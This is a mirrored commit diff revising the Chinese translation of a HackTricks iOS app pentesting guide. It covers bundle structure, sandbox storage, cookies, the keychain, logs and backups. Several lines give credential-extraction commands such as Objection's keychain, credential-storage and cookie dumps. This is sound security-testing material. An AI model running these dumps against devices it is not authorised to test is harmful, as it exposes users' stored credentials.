mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 04:33:28 +00:00
Translated ['mobile-pentesting/ios-pentesting/README.md', 'mobile-pentes
This commit is contained in:
parent
193703fa7f
commit
4a3162f6f7
65 changed files with 1732 additions and 2259 deletions
|
@ -3,7 +3,7 @@
|
|||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
使用[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)轻松构建和**自动化工作流**,使用全球**最先进**的社区工具。\
|
||||
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)来轻松构建和**自动化工作流程**,使用世界上**最先进**的社区工具。\
|
||||
立即获取访问权限:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -16,8 +16,8 @@
|
|||
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)系列
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
@ -30,7 +30,7 @@
|
|||
|
||||
## 测试环境
|
||||
|
||||
在此页面,您可以找到关于**iOS模拟器**、**模拟器**和**越狱**的信息:
|
||||
在此页面中,您可以找到关于**iOS模拟器**、**模拟器**和**越狱**的信息:
|
||||
|
||||
{% content-ref url="ios-testing-environment.md" %}
|
||||
[ios-testing-environment.md](ios-testing-environment.md)
|
||||
|
@ -47,7 +47,7 @@
|
|||
{% endcontent-ref %}
|
||||
|
||||
{% hint style="info" %}
|
||||
在以下步骤中,应在设备上**安装应用程序**并已获取应用程序的**IPA文件**。\
|
||||
在以下步骤中,应该已经在设备上安装了应用程序,并已经获得了应用程序的**IPA文件**。\
|
||||
阅读[基本iOS测试操作](basic-ios-testing-operations.md)页面以了解如何执行此操作。
|
||||
{% endhint %}
|
||||
|
||||
|
@ -172,24 +172,24 @@ PID Name Identifier
|
|||
|
||||
### IPA 结构
|
||||
|
||||
**IPA 文件**的结构本质上是一个**压缩包**。通过将其扩展名更改为 `.zip`,可以对其进行**解压**以显示其内容。在这个结构中,**Bundle**代表一个完全打包好准备安装的应用程序。在其中,您会找到一个名为 `<NAME>.app` 的目录,其中包含应用程序的资源。
|
||||
**IPA 文件**的结构本质上是一个**压缩包**。通过将其扩展名更改为 `.zip`,可以对其进行**解压**以显示其内容。在这个结构中,**Bundle**代表一个完全打包好待安装的应用程序。在其中,您会找到一个名为 `<NAME>.app` 的目录,其中包含应用程序的资源。
|
||||
|
||||
* **`Info.plist`**:此文件保存应用程序的特定配置详细信息。
|
||||
* **`_CodeSignature/`**:此目录包含一个包含签名的 plist 文件,确保捆绑包中所有文件的完整性。
|
||||
* **`Assets.car`**:存储像图标之类的资源文件的压缩存档。
|
||||
* **`Assets.car`**:存储像图标这样的资源文件的压缩存档。
|
||||
* **`Frameworks/`**:此文件夹包含应用程序的本机库,可能是 `.dylib` 或 `.framework` 文件的形式。
|
||||
* **`PlugIns/`**:这可能包括应用程序的扩展,称为 `.appex` 文件,尽管它们并不总是存在。
|
||||
* [**`Core Data`**](https://developer.apple.com/documentation/coredata):用于保存应用程序的永久数据以供离线使用,缓存临时数据,并在单个设备上为应用程序添加撤销功能。为了在单个 iCloud 帐户中跨多个设备同步数据,Core Data 会自动将您的模式镜像到 CloudKit 容器中。
|
||||
* [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html):`PkgInfo` 文件是指定应用程序或捆绑包的类型和创建者代码的另一种方式。
|
||||
* **en.lproj, fr.proj, Base.lproj**:是包含这些特定语言资源的语言包,以及在不支持某种语言的情况下的默认资源。
|
||||
* **en.lproj, fr.proj, Base.lproj**:这些是包含特定语言资源的语言包,以及在不支持某种语言时的默认资源。
|
||||
* **安全性**:`_CodeSignature/` 目录通过数字签名验证所有捆绑文件的完整性,在应用程序的安全性方面起着关键作用。
|
||||
* **资产管理**:`Assets.car` 文件使用压缩来高效管理图形资产,这对于优化应用程序性能并减小其整体大小至关重要。
|
||||
* **框架和插件**:这些目录突显了 iOS 应用程序的模块化,允许开发人员包含可重用的代码库(`Frameworks/`)并扩展应用程序功能(`PlugIns/`)。
|
||||
* **框架和插件**:这些目录突显了 iOS 应用程序的模块化,允许开发人员包含可重用的代码库(`Frameworks/`)并扩展应用功能(`PlugIns/`)。
|
||||
* **本地化**:该结构支持多种语言,通过包含特定语言包的资源,有助于全球应用程序覆盖。
|
||||
|
||||
**Info.plist**
|
||||
|
||||
**Info.plist** 作为 iOS 应用程序的基石,以**键-值**对的形式封装关键配置数据。这个文件不仅对应用程序是必需的,对于打包在其中的应用程序扩展和框架也是必需的。它以 XML 或二进制格式结构化,并包含从应用程序权限到安全配置等关键信息。要详细探索可用键,可以参考[**Apple Developer Documentation**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc)。
|
||||
**Info.plist** 是 iOS 应用程序的基石,以**键-值**对的形式封装关键配置数据。这个文件不仅对应用程序是必需的,对于打包在其中的应用程序扩展和框架也是必需的。它以 XML 或二进制格式结构化,包含从应用程序权限到安全配置等关键信息。要详细探索可用键,可以参考[**Apple 开发人员文档**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc)。
|
||||
|
||||
对于希望以更易访问的格式处理此文件的人,可以通过 macOS 上的 `plutil`(在版本 10.2 及更高版本中本地可用)或 Linux 上的 `plistutil` 轻松实现 XML 转换。转换的命令如下:
|
||||
|
||||
|
@ -202,7 +202,7 @@ $ plutil -convert xml1 Info.plist
|
|||
$ apt install libplist-utils
|
||||
$ plistutil -i Info.plist -o Info_xml.plist
|
||||
```
|
||||
在**Info.plist**文件中可以泄露大量信息,其中一些显著条目包括应用程序权限字符串(`UsageDescription`)、自定义URL schemes(`CFBundleURLTypes`)以及App Transport Security的配置(`NSAppTransportSecurity`)。这些条目以及其他条目,如导出/导入的自定义文档类型(`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`),可以通过检查文件或使用简单的`grep`命令轻松定位:
|
||||
在**Info.plist**文件可能泄露的大量信息中,值得注意的条目包括应用程序权限字符串(`UsageDescription`)、自定义URL schemes(`CFBundleURLTypes`)以及App Transport Security的配置(`NSAppTransportSecurity`)。这些条目以及其他条目,如导出/导入的自定义文档类型(`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`),可以通过检查文件或使用简单的`grep`命令轻松定位:
|
||||
```bash
|
||||
$ grep -i <keyword> Info.plist
|
||||
```
|
||||
|
@ -234,16 +234,16 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
|
|||
|
||||
* **AppName.app**
|
||||
* 这是应用程序包,与IPA文件中看到的一样,其中包含基本的应用程序数据、静态内容以及应用程序的编译二进制文件。
|
||||
* 此目录对用户可见,但**用户无法对其进行写入**。
|
||||
* 此目录中的内容**不会被备份**。
|
||||
* 此文件夹的内容用于**验证代码签名**。
|
||||
* 该目录对用户可见,但**用户无法对其进行写入**。
|
||||
* 该目录中的内容**不会被备份**。
|
||||
* 该文件夹的内容用于**验证代码签名**。
|
||||
|
||||
**Data directory:**
|
||||
|
||||
* **Documents/**
|
||||
* 包含所有用户生成的数据。应用程序最终用户启动此数据的创建。
|
||||
* 包含所有用户生成的数据。应用程序最终用户启动了这些数据的创建。
|
||||
* 对用户可见,**用户可以对其进行写入**。
|
||||
* 此目录中的内容**已备份**。
|
||||
* 该目录中的内容**会被备份**。
|
||||
* 应用程序可以通过设置`NSURLIsExcludedFromBackupKey`来禁用路径。
|
||||
* **Library/**
|
||||
* 包含所有**非特定于用户**的文件,如**缓存**、**首选项**、**cookies**和属性列表(plist)配置文件。
|
||||
|
@ -251,23 +251,23 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
|
|||
* **Library/Caches/**
|
||||
* 包含**半持久性缓存文件**。
|
||||
* 对用户不可见,**用户无法对其进行写入**。
|
||||
* 此目录中的内容**不会被备份**。
|
||||
* 当应用程序未运行且存储空间不足时,操作系统可能会自动删除此目录中的文件。
|
||||
* 该目录中的内容**不会被备份**。
|
||||
* 当应用程序未运行且存储空间不足时,操作系统可能会自动删除该目录中的文件。
|
||||
* **Library/Application Support/**
|
||||
* 包含运行应用程序所需的**持久性文件**。
|
||||
* 对用户**不可见**,用户无法对其进行写入。
|
||||
* 此目录中的内容**已备份**。
|
||||
* 该目录中的内容**会被备份**。
|
||||
* 应用程序可以通过设置`NSURLIsExcludedFromBackupKey`来禁用路径。
|
||||
* **Library/Preferences/**
|
||||
* 用于存储属性,这些属性可以在应用程序重新启动后**持久存在**。
|
||||
* 信息以未加密的方式保存在应用程序沙盒中的名为\[BUNDLE\_ID].plist的plist文件中。
|
||||
* 使用`NSUserDefaults`存储的所有键/值对都可以在此文件中找到。
|
||||
* **tmp/**
|
||||
* 使用此目录来写入**不需要在应用程序启动之间持久存在的临时文件**。
|
||||
* 使用此目录来写入**不需要在应用程序启动之间持久存在**的**临时文件**。
|
||||
* 包含非持久性缓存文件。
|
||||
* 对用户不可见。
|
||||
* 此目录中的内容不会被备份。
|
||||
* 当应用程序未运行且存储空间不足时,操作系统可能会自动删除此目录中的文件。
|
||||
* 该目录中的内容不会被备份。
|
||||
* 当应用程序未运行且存储空间不足时,操作系统可能会自动删除该目录中的文件。
|
||||
|
||||
让我们更仔细地查看iGoat-Swift的应用程序包(.app)目录,位于Bundle目录内(`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`):
|
||||
```bash
|
||||
|
@ -283,7 +283,7 @@ Regular 420 None ... LICENSE.txt
|
|||
Regular 420 None ... Sentinel.txt
|
||||
Regular 420 None ... README.txt
|
||||
```
|
||||
### 二进制反向工程
|
||||
### 二进制反向
|
||||
|
||||
在 `<application-name>.app` 文件夹中,您会找到一个名为 `<application-name>` 的二进制文件。这是将被**执行**的文件。您可以使用工具 **`otool`** 对二进制文件进行基本检查:
|
||||
```bash
|
||||
|
@ -321,7 +321,7 @@ DVIA-v2:
|
|||
0000000100004acc adrp x10, 1098 ; 0x10044e000
|
||||
0000000100004ad0 add x10, x10, #0x268
|
||||
```
|
||||
要打印示例应用程序的**Objective-C段**,可以使用:
|
||||
要打印示例应用程序的**Objective-C部分**,可以使用:
|
||||
```bash
|
||||
otool -oV DVIA-v2
|
||||
DVIA-v2:
|
||||
|
@ -380,7 +380,7 @@ double _field2;
|
|||
{% endcontent-ref %}
|
||||
|
||||
{% hint style="warning" %}
|
||||
应该在**安装应用程序后**立即检查以下存储信息的位置,**在检查应用程序的所有功能后**,甚至在**从一个用户注销并登录到另一个用户后**。\
|
||||
应该在**安装应用程序后**立即检查以下存储信息的位置,**在检查应用程序的所有功能**之后,甚至在**从一个用户注销并登录到另一个用户**之后。\
|
||||
目标是查找应用程序(密码、令牌)、当前用户和先前登录用户的**未受保护的敏感信息**。
|
||||
{% endhint %}
|
||||
|
||||
|
@ -388,22 +388,22 @@ double _field2;
|
|||
|
||||
**plist** 文件是结构化的 XML 文件,**包含键值对**。这是一种存储持久数据的方式,因此有时您可能会在这些文件中找到**敏感信息**。建议在安装应用程序后和在大量使用应用程序后检查这些文件,以查看是否写入了新数据。
|
||||
|
||||
在 plist 文件中持久保存数据的最常见方式是通过使用 **NSUserDefaults**。此 plist 文件保存在应用程序沙盒中的 **`Library/Preferences/<appBundleID>.plist`**
|
||||
在 plist 文件中持久保存数据的最常见方式是通过使用**NSUserDefaults**。此 plist 文件保存在应用程序沙盒中的**`Library/Preferences/<appBundleID>.plist`**
|
||||
|
||||
[`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) 类提供了与默认系统进行交互的编程接口。默认系统允许应用程序根据**用户偏好**自定义其行为。由 `NSUserDefaults` 保存的数据可以在应用程序包中查看。此类将**数据**存储在 **plist** **文件**中,但应该与少量数据一起使用。
|
||||
[`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) 类为与默认系统交互提供了编程接口。默认系统允许应用程序根据**用户偏好**自定义其行为。由 `NSUserDefaults` 保存的数据可以在应用程序包中查看。此类将**数据**存储在**plist** **文件**中,但应该与少量数据一起使用。
|
||||
|
||||
这些数据无法直接通过受信任的计算机访问,但可以通过**备份**访问。
|
||||
|
||||
您可以使用 objection 的 `ios nsuserdefaults get` **转储**使用 **`NSUserDefaults`** 保存的信息。
|
||||
您可以使用 objection 的 `ios nsuserdefaults get` 来**转储**使用 **`NSUserDefaults`** 保存的信息。
|
||||
|
||||
要查找应用程序使用的所有 plist,可以访问 `/private/var/mobile/Containers/Data/Application/{APPID}` 并运行:
|
||||
```bash
|
||||
find ./ -name "*.plist"
|
||||
```
|
||||
要将文件从**XML或二进制(bplist)**格式转换为XML,可以根据您的操作系统使用不同的方法:
|
||||
### 将文件从 **XML 或二进制 (bplist)** 格式转换为 XML,可根据您的操作系统使用不同的方法:
|
||||
|
||||
**对于 macOS 用户:**
|
||||
使用 `plutil` 命令。这是 macOS(10.2+)中的一个内置工具,专门用于此目的:
|
||||
使用 `plutil` 命令。这是 macOS (10.2+) 中的一个内置工具,专门用于此目的:
|
||||
```bash
|
||||
$ plutil -convert xml1 Info.plist
|
||||
```
|
||||
|
@ -420,14 +420,14 @@ ios plist cat /private/var/mobile/Containers/Data/Application/<Application-UUID>
|
|||
```
|
||||
### Core Data
|
||||
|
||||
[`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple_ref/doc/uid/TP40001075-CH8-SW1) 是一个用于管理应用程序中对象模型层的框架。[Core Data 可以使用 SQLite 作为其持久存储](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/),但该框架本身并不是一个数据库。\
|
||||
CoreData 默认情况下不会加密其数据。然而,可以向 CoreData 添加额外的加密层。查看 [GitHub 仓库](https://github.com/project-imas/encrypted-core-data) 以获取更多详细信息。
|
||||
[`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple_ref/doc/uid/TP40001075-CH8-SW1) 是一个用于管理应用程序中对象模型层的框架。[Core Data可以使用SQLite作为其持久存储](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/),但该框架本身并不是一个数据库。\
|
||||
CoreData默认不加密其数据。然而,可以向CoreData添加额外的加密层。查看[GitHub Repo](https://github.com/project-imas/encrypted-core-data)获取更多详细信息。
|
||||
|
||||
您可以在路径 `/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support` 中找到应用程序的 SQLite Core Data 信息。
|
||||
您可以在路径`/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support`中找到应用程序的SQLite Core Data信息。
|
||||
|
||||
**如果您可以打开 SQLite 并访问敏感信息,则表示您发现了一个配置错误。**
|
||||
**如果您可以打开SQLite并访问敏感信息,则发现了一个配置错误。**
|
||||
|
||||
{% code title="iGoat 中的代码" %}
|
||||
{% code title="iGoat中的代码" %}
|
||||
```objectivec
|
||||
-(void)storeDetails {
|
||||
AppDelegate * appDelegate = (AppDelegate *)(UIApplication.sharedApplication.delegate);
|
||||
|
@ -455,12 +455,12 @@ NSLog(@"data stored in core data");
|
|||
|
||||
### YapDatabase
|
||||
|
||||
[YapDatabase](https://github.com/yapstudios/YapDatabase)是建立在SQLite之上的键/值存储。\
|
||||
由于Yap数据库是SQLite数据库,您可以使用上一节中提到的命令找到它们。
|
||||
[YapDatabase](https://github.com/yapstudios/YapDatabase) 是建立在 SQLite 之上的键/值存储。\
|
||||
由于 Yap 数据库是 SQLite 数据库,您可以使用前一节中提到的目的命令找到它们。
|
||||
|
||||
### 其他SQLite数据库
|
||||
### 其他 SQLite 数据库
|
||||
|
||||
应用程序通常会创建自己的SQLite数据库。它们可能在其中存储敏感数据并将其保留为未加密。因此,检查应用程序目录中的每个数据库始终是一件有趣的事情。因此,请转到保存数据的应用程序目录(`/private/var/mobile/Containers/Data/Application/{APPID}`)。
|
||||
应用程序通常会创建自己的 SQLite 数据库。它们可能在其中存储敏感数据,并且未加密。因此,检查应用程序目录中的每个数据库始终是一件有趣的事情。因此,请转到保存数据的应用程序目录 (`/private/var/mobile/Containers/Data/Application/{APPID}`)。
|
||||
```bash
|
||||
find ./ -name "*.sqlite" -or -name "*.db"
|
||||
```
|
||||
|
@ -499,20 +499,20 @@ let realm = try Realm(configuration: config)
|
|||
fatalError("Error opening realm: \(error)")
|
||||
}
|
||||
```
|
||||
### Couchbase Lite 数据库
|
||||
### Couchbase Lite数据库
|
||||
|
||||
[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios) 被描述为一款**轻量级**且**嵌入式**的数据库引擎,遵循**面向文档**(NoSQL)的方法。设计用于**iOS**和**macOS**,提供了无缝同步数据的能力。
|
||||
[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios)被描述为一种**轻量级**和**嵌入式**数据库引擎,遵循**面向文档**(NoSQL)的方法。设计为原生支持**iOS**和**macOS**,它提供了无缝同步数据的能力。
|
||||
|
||||
要识别设备上可能存在的 Couchbase 数据库,应检查以下目录:
|
||||
要识别设备上可能存在的Couchbase数据库,应检查以下目录:
|
||||
```bash
|
||||
ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support/
|
||||
```
|
||||
### Cookies
|
||||
|
||||
iOS将应用程序的cookies存储在每个应用程序文件夹中的**`Library/Cookies/cookies.binarycookies`**中。然而,开发人员有时会决定将它们保存在**钥匙串**中,因为上述**cookie文件可以在备份中访问**。
|
||||
iOS将应用程序的cookie存储在每个应用程序文件夹中的**`Library/Cookies/cookies.binarycookies`**中。然而,开发人员有时会决定将它们保存在**钥匙串**中,因为上述**cookie文件可以在备份中访问**。
|
||||
|
||||
要检查cookies文件,您可以使用[**此python脚本**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser)或使用objection的**`ios cookies get`**。\
|
||||
**您还可以使用objection**将这些文件转换为JSON格式并检查数据。
|
||||
要检查cookie文件,您可以使用[**此Python脚本**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser)或使用objection的**`ios cookies get`**。\
|
||||
**您还可以使用objection将这些文件转换为JSON格式并检查数据。**
|
||||
```bash
|
||||
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios cookies get --json
|
||||
[
|
||||
|
@ -543,16 +543,16 @@ iOS将应用程序的cookies存储在每个应用程序文件夹中的**`Library
|
|||
|
||||
[苹果文档](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral):
|
||||
|
||||
`一个临时会话配置对象类似于默认会话配置(请参阅default),不同之处在于相应的会话对象不会将缓存、凭据存储或任何会话相关数据存储到磁盘。相反,会话相关数据存储在RAM中。临时会话仅在您告诉它将URL的内容写入文件时才会将数据写入磁盘。`
|
||||
3. 通过将缓存策略设置为[.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed)也可以禁用缓存。这将禁用以任何方式存储缓存,无论是在内存中还是在磁盘上。
|
||||
`一个临时会话配置对象类似于默认会话配置(请参阅默认),不同之处在于相应的会话对象不会将缓存、凭据存储或任何会话相关数据存储到磁盘。相反,会话相关数据存储在RAM中。临时会话仅在您告诉它将URL的内容写入文件时才会将数据写入磁盘。`
|
||||
3. 通过将缓存策略设置为[.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed)也可以禁用缓存。这将禁止以任何方式存储缓存,无论是在内存中还是在磁盘上。
|
||||
|
||||
### 快照
|
||||
|
||||
每当按下主屏幕按钮时,iOS都会**拍摄当前屏幕的快照**,以便能够更流畅地切换到应用程序。然而,如果当前屏幕中存在**敏感数据**,它将被**保存**在**图像**中(这将**持续** **跨** **重启**)。这些快照也可以通过双击主屏幕来访问,以在应用程序之间切换。
|
||||
每当您按下主屏幕按钮时,iOS都会**拍摄当前屏幕的快照**,以便能够更流畅地切换到应用程序。然而,如果当前屏幕中存在**敏感数据**,它将被**保存**在**图像**中(这将**持续** **跨** **重启**)。这些是您也可以通过双击主屏幕访问的快照,以在应用程序之间切换。
|
||||
|
||||
除非iPhone已越狱,**攻击者**需要**访问****未锁定**的**设备**才能查看这些屏幕截图。默认情况下,最后一个快照存储在应用程序的沙盒中的`Library/Caches/Snapshots/`或`Library/SplashBoard/Snapshots`文件夹中(受信任的计算机无法从iOS 7.0访问文件系统)。
|
||||
除非iPhone已越狱,否则**攻击者**需要**解锁**设备才能查看这些屏幕截图。默认情况下,最后一个快照存储在应用程序的沙盒中的`Library/Caches/Snapshots/`或`Library/SplashBoard/Snapshots`文件夹中(受信任的计算机无法从iOS 7.0访问文件系统)。
|
||||
|
||||
防止这种不良行为的一种方法是在拍摄快照之前使用`ApplicationDidEnterBackground()`函数放置空白屏幕或删除敏感数据。
|
||||
防止这种不良行为的一种方法是在拍摄快照之前放置一个空白屏幕或删除敏感数据,使用`ApplicationDidEnterBackground()`函数。
|
||||
|
||||
以下是一个设置默认屏幕截图的示例修复方法。
|
||||
|
||||
|
@ -590,7 +590,7 @@ self.backgroundImage.bounds = UIScreen.mainScreen.bounds;
|
|||
|
||||
### Keychain
|
||||
|
||||
要访问和管理iOS钥匙串,可以使用像[**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper)这样的工具,适用于越狱设备。此外,[**Objection**](https://github.com/sensepost/objection)提供了`ios keychain dump`命令,用于类似的目的。
|
||||
要访问和管理iOS钥匙串,可以使用诸如[**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper)之类的工具,适用于越狱设备。此外,[**Objection**](https://github.com/sensepost/objection)提供了`ios keychain dump`命令,用于类似的目的。
|
||||
|
||||
#### **存储凭据**
|
||||
|
||||
|
@ -600,34 +600,36 @@ NSURLCredential *credential;
|
|||
credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent];
|
||||
[[NSURLCredentialStorage sharedCredentialStorage] setCredential:credential forProtectionSpace:self.loginProtectionSpace];
|
||||
```
|
||||
要提取这些存储的凭据,使用Objection的命令 `ios nsurlcredentialstorage dump`。
|
||||
|
||||
## **自定义键盘和键盘缓存**
|
||||
|
||||
从iOS 8.0开始,用户可以安装自定义键盘扩展,可在**设置 > 通用 > 键盘 > 键盘**下进行管理。虽然这些键盘提供了扩展功能,但存在记录按键和将数据传输到外部服务器的风险,尽管用户会收到有关需要网络访问的键盘的通知。应用程序可以并且应该限制对自定义键盘用于输入敏感信息。
|
||||
从iOS 8.0开始,用户可以安装自定义键盘扩展,在**设置 > 通用 > 键盘 > 键盘**下可管理。虽然这些键盘提供了扩展功能,但存在记录按键和将数据传输到外部服务器的风险,尽管用户会收到通知,指出需要网络访问的键盘。应用程序可以并且应该限制对自定义键盘输入敏感信息的使用。
|
||||
|
||||
**安全建议:**
|
||||
- 建议禁用第三方键盘以增强安全性。
|
||||
- 注意默认iOS键盘的自动更正和自动建议功能,这些功能可能会将敏感信息存储在`Library/Keyboard/{locale}-dynamic-text.dat`或`/private/var/mobile/Library/Keyboard/dynamic-text.dat`中的缓存文件中。应定期检查这些缓存文件以查找敏感数据。建议通过**设置 > 通用 > 重置 > 重置键盘字典**来清除缓存数据。
|
||||
- 拦截网络流量可以揭示自定义键盘是否远程传输按键。
|
||||
- 注意默认iOS键盘的自动更正和自动建议功能,可能会将敏感信息存储在位于 `Library/Keyboard/{locale}-dynamic-text.dat` 或 `/private/var/mobile/Library/Keyboard/dynamic-text.dat` 的缓存文件中。应定期检查这些缓存文件中是否存在敏感数据。建议通过**设置 > 通用 > 重置 > 重置键盘字典**来清除缓存数据。
|
||||
- 拦截网络流量可以揭示自定义键盘是否远程传输按键记录。
|
||||
|
||||
### **防止文本字段缓存**
|
||||
|
||||
[UITextInputTraits协议](https://developer.apple.com/reference/uikit/uitextinputtraits)提供了管理自动更正和安全文本输入的属性,对于防止敏感信息缓存至关重要。例如,通过禁用自动更正和启用安全文本输入可以实现:
|
||||
[UITextInputTraits 协议](https://developer.apple.com/reference/uikit/uitextinputtraits)提供了管理自动更正和安全文本输入的属性,对于防止敏感信息缓存至关重要。例如,通过禁用自动更正和启用安全文本输入,可以实现:
|
||||
```objectivec
|
||||
textObject.autocorrectionType = UITextAutocorrectionTypeNo;
|
||||
textObject.secureTextEntry = YES;
|
||||
```
|
||||
此外,开发人员应确保文本字段,特别是用于输入诸如密码和个人识别码(PIN)等敏感信息的字段,通过将`autocorrectionType`设置为`UITextAutocorrectionTypeNo`和`secureTextEntry`设置为`YES`来禁用缓存。
|
||||
此外,开发人员应确保文本字段,特别是用于输入密码和PIN等敏感信息的字段,通过将`autocorrectionType`设置为`UITextAutocorrectionTypeNo`和`secureTextEntry`设置为`YES`来禁用缓存。
|
||||
```objectivec
|
||||
UITextField *textField = [[UITextField alloc] initWithFrame:frame];
|
||||
textField.autocorrectionType = UITextAutocorrectionTypeNo;
|
||||
```
|
||||
## **日志**
|
||||
|
||||
调试代码通常涉及使用**日志**。存在风险,因为**日志可能包含敏感信息**。在iOS 6及更早版本中,日志对所有应用程序都是可访问的,存在敏感数据泄漏的风险。**现在,应用程序仅限于访问自己的日志**。
|
||||
调试代码通常涉及使用**日志**。存在风险,因为**日志可能包含敏感信息**。在iOS 6及更早版本中,日志对所有应用程序都是可访问的,存在敏感数据泄漏的风险。**现在,应用程序被限制只能访问自己的日志**。
|
||||
|
||||
尽管存在这些限制,**拥有物理访问权限**的攻击者仍可以利用这一点,通过将设备连接到计算机并**读取日志**。需要注意的是,即使在应用程序卸载后,日志仍然保留在磁盘上。
|
||||
尽管存在这些限制,**拥有物理访问权限**的攻击者仍然可以利用这一点,通过将设备连接到计算机并**读取日志**。需要注意的是,即使在应用程序卸载后,日志仍然保留在磁盘上。
|
||||
|
||||
为了减轻风险,建议**全面与应用程序进行交互**,探索其所有功能和输入,以确保没有意外记录敏感信息。
|
||||
为了减轻风险,建议**与应用程序进行全面交互**,探索其所有功能和输入,以确保没有意外记录敏感信息。
|
||||
|
||||
在审查应用程序源代码以查找潜在泄漏时,查找**预定义**和**自定义日志记录语句**,使用关键字如`NSLog`、`NSAssert`、`NSCAssert`、`fprintf`用于内置函数,以及任何提及`Logging`或`Logfile`的自定义实现。
|
||||
|
||||
|
@ -658,18 +660,18 @@ iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
|
|||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
使用 [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) 可轻松构建并通过全球**最先进**的社区工具**自动化工作流程**。\
|
||||
使用 [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) 可轻松构建和**自动化工作流程**,利用全球**最先进**的社区工具。\
|
||||
立即获取访问权限:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## 备份
|
||||
|
||||
iOS 集成了**自动备份功能**,通过 iTunes(适用于 macOS Catalina 及以下版本)、Finder(从 macOS Catalina 开始)或 iCloud,便于创建设备数据副本。这些备份几乎包含所有设备数据,但不包括高度敏感的元素,如 Apple Pay 详细信息和 Touch ID 配置。
|
||||
**自动备份功能**已集成到 iOS 中,通过 iTunes(在 macOS Catalina 之前)、Finder(从 macOS Catalina 开始)或 iCloud,便于创建设备数据副本。这些备份几乎包含所有设备数据,但不包括高度敏感的元素,如 Apple Pay 详细信息和 Touch ID 配置。
|
||||
|
||||
### 安全风险
|
||||
|
||||
备份中包含**已安装应用及其数据**会引发潜在**数据泄漏**问题,备份修改可能会改变应用功能的风险。建议**不要在任何应用程序目录或其子目录中以明文形式存储敏感信息**,以减轻这些风险。
|
||||
备份中包含**已安装的应用程序及其数据**会引发潜在**数据泄漏**问题,以及**备份修改可能改变应用功能**的风险。建议**不要在任何应用程序目录或其子目录中以明文形式存储敏感信息**,以减轻这些风险。
|
||||
|
||||
### 从备份中排除文件
|
||||
|
||||
|
@ -677,7 +679,7 @@ iOS 集成了**自动备份功能**,通过 iTunes(适用于 macOS Catalina
|
|||
|
||||
### 漏洞测试
|
||||
|
||||
要评估应用的备份安全性,首先使用 Finder **创建备份**,然后根据[苹果官方文档](https://support.apple.com/en-us/HT204215)的指导找到备份位置。分析备份中的敏感数据或配置,以确定是否可能影响应用行为。
|
||||
